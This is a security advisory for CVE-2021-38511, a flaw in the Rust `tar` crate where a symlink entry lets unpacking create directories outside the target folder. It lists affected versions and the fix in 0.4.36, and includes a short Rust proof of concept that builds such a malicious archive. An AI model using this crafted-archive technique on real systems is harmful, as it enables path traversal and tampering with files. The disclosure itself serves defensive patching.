CVE-2021-38511
HIGH7.5EPSS 0.34%Links in archive can create arbitrary directories
Description
When unpacking a tarball that contains a symlink the `tar` crate may create directories outside of the directory it's supposed to unpack into. The function errors when it's trying to create a file, but the folders are already created at this point. ```rust use std::{io, io::Result}; use tar::{Archive, Builder, EntryType, Header}; fn main() -> Result<()> { let mut buf = Vec::new(); { let mut builder = Builder::new(&mut buf); // symlink: parent -> .. let mut header = Header::new_gnu(); header.set_path("symlink")?; header.set_link_name("..")?; header.set_entry_type(EntryType::Symlink); header.set_size(0); header.set_cksum(); builder.append(&header, io::empty())?; // file: symlink/exploit/foo/bar let mut header = Header::new_gnu(); header.set_path("symlink/exploit/foo/bar")?; header.set_size(0); header.set_cksum(); builder.append(&header, io::empty())?; builder.finish()?; }; Archive::new(&*buf).unpack("demo") } ``` This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is published as `tar` 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering and reporting this, and Nikhil Benesch (@benesch) for the fix!
Affected packages (3)
- crates.io/tarfrom 0, < 0.4.36
- crates.io/tar>= 0.0.0-0, < 0.4.36
- Debian/rust-tarfrom 0
CVSS scores
| Source | Version | Severity | Vector |
|---|---|---|---|
| osv | CVSS 3.1 | HIGH7.5 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
References (8)
- ADVISORYhttps://nvd.nist.gov/vuln/detail/CVE-2021-38511
- ADVISORYhttps://security-tracker.debian.org/tracker/CVE-2021-38511
- PATCHhttps://crates.io/crates/tar
- PATCHhttps://github.com/alexcrichton/tar-rs
- WEBhttps://github.com/alexcrichton/tar-rs/issues/238
- WEBhttps://github.com/alexcrichton/tar-rs/pull/259
- WEBhttps://raw.githubusercontent.com/rustsec/advisory-db/main/crates/tar/RUSTSEC-2021-0080.md
- WEBhttps://rustsec.org/advisories/RUSTSEC-2021-0080.html